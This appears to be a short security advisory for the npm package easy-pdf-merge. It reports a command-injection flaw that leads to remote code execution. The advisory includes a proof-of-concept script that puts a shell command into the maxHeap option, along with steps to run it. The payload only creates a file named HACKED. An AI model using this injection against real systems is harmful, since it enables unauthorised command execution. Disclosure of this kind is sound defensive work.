easy-pdf-merge

vulnerability remote code execution
severity 3.8
language javascript
registry npm

Description

The easy-pdf-merge module is vulnerable against RCE since user supplied inputs are formatted inside a command which is executed without prior checks.

POC

  1. Create the following PoC file:
// poc.js
const merge = require('easy-pdf-merge');

merge(["test", "test1"], "test2", {maxHeap:"test; touch HACKED; #"}, function(err){
  if(err) {
    return console.log(err)
  }
  console.log('Success')
});

  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i easy-pdf-merge # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created

References